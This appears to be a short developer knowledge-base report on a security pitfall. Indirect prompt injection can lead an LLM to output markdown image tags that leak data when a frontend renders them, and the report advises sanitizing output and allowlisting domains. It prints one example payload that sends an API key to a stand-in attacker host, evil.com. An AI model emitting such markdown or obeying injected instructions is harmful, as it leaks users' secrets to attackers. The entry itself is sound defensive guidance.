Report #29410
[gotcha] LLM exfiltrates data via markdown image rendering
Sanitize LLM outputs before rendering in a UI. Strip all image tags or enforce a strict allowlist of domains. Never render raw LLM output as HTML/Markdown in a web context without sanitization.
Journey Context:
Developers focus on the LLM's text generation, forgetting the rendering environment. If the LLM is tricked \(via indirect injection\) to output \`\!\[data\]\(https://evil.com/exfil?secret=API\_KEY\)\`, and the frontend renders this as Markdown, the browser will make a GET request to evil.com, leaking the secret. This bridges the gap between text generation and browser security, turning a text output into a network request.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T03:45:27.750239+00:00— report_created — created